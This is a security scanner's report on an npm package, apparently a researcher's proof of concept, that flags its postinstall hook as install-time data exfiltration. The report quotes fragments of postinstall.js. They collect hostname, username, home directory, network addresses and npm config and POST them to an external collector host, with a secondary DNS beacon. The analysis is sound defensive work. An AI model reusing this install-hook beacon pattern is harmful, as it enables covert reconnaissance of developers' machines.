registry / Data exfiltration / @s4yhiitestpoc/r2-https-b

@s4yhiitestpoc/r2-https-b

Round-2 sample: postinstall sends a minimal install fingerprint plus npm's own registry configuration over HTTPS. No credentials or general environment variables are read.

This report shows the evidence for @s4yhiitestpoc/r2-https-b@1.0.0. 1 of 2 known versions is blocked or flagged. See all versions.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The active install hook performs outbound collection and transmission of host and registry configuration metadata. This is concrete install-time data exfiltration, so publication should be blocked.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its postinstall script.

Impact

The collector receives identifying build-environment information, including configured registry and local network details.

Mechanism

The script gathers machine identity, network details, and selected npm environment values, then sends them over HTTPS and performs a secondary DNS lookup.

Attack narrative

On installation, the postinstall script gathers host and user identity, network details, and selected npm configuration values. It transmits the report to an external HTTPS collector and makes a secondary DNS lookup, exposing build-environment information without an explicit user action beyond installation.

AI rationale

The active install hook performs outbound collection and transmission of host and registry configuration metadata. This is concrete install-time data exfiltration, so publication should be blocked.

Evidence

package.jsonpostinstall.js

Network endpoints2

collector.oob.s4yhii.comdb03o8lag74hsugsg2j091t8mfcf437h3.oob.s4yhii.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The postinstall hook runs automatically during installation.
The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata.
It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

Evidence against

The inspected code does not collect file contents, credentials, or general environment variables; its npm environment reads are limited to a fixed list.

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.62 KB of source

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node ./postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node ./postinstall.js" }, "files": ["RE

High

Suspicious Lifecycle Evidence

The postinstall hook runs automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node ./postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

15const os = require("os"); L16: const dns = require("dns"); L17: const https = require("https"); ... L21: "npm_command", L22: "npm[redacted]", L23: "npm[redacted]", L24: "npm[redacted]", L25: "npm[redacted]", // present only when a NON-default registry is configured L26: "npm[redacted]", ... L33: try { L34: pkg = require("./package.json"); L35: } catch (e) {

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L15

•matchType = malicious_source_fingerprint_signature signature = 3f96740e98080c96 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @s4yhiitestpoc/r2-https@1.0.0 matchedPath = postinstall.js matchedIdentity = npm:QHM0eWhpaXRlc3Rwb2MvcjItaHR0cHM:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

76hostname: os.hostname(), username: os.userInfo().username, homedir: os.homedir(), platform: os.platform(), arch: os.arch(), release: os.release(), nodeVersion: process.version, uptimeSeconds: Math.round(os.uptime()), dnsServers: dns.getServers(), addresses: localAddresses(), timestamp: new Date().toISOString(), }; const body = JSO

High

Ai Review Evidence

The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata.

postinstall.jsView on unpkg · L76

20const NPM_KEYS = [ "npm_command", "npm[redacted]", "npm[redacted]", "npm[redacted]", "npm[redacted]", // present only when a NON-default registry is configured "npm[redacted]", "npm[redacted]", // path to .npmrc, never its contents "npm_co

High

Ai Review Evidence

The hook collects host, user, home-directory, network-interface, DNS, and npm registry/configuration metadata.

postinstall.jsView on unpkg · L20

93hostname: "collector.oob.s4yhii.com", port: 443, path: "/_npm-poc/beacon", method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "User-Agent": "npm[redacted] (s4yhii__)", }, }, (res) => res.resume() ); req.on("error", () => {}); req.on("timeout",

High

Ai Review Evidence

It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

postinstall.jsView on unpkg · L93

109req.write(body); req.end(); // Secondary DNS channel: proves execution even where outbound HTTPS is // proxied or blocked. Carries only a fixed label identifying the pac

High

Ai Review Evidence

It sends the report by HTTPS POST to an external collector and also makes a DNS lookup to an external host.

postinstall.jsView on unpkg · L109

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node ./postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node ./postinstall.js" }, "files": ["RE

High

Suspicious Lifecycle Evidence

The postinstall hook runs automatically during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node ./postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

8 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @s4yhiitestpoc/r2-https-b@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @s4yhiitestpoc/r2-https-b@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:53:59.291Z (UTC).

Source advisory published: 2026-10-12 05:27:26.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.0.0latestshownMaliciousData ExfiltrationBlockPublishedOct 10, 2026, 12:56 PM 0.0.0-stageClean—AllowPublishedOct 10, 2026, 12:55 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @s4yhiitestpoc

Other data exfiltration packages

Related packages

More from @s4yhiitestpoc

Other data exfiltration packages

Source & flagged code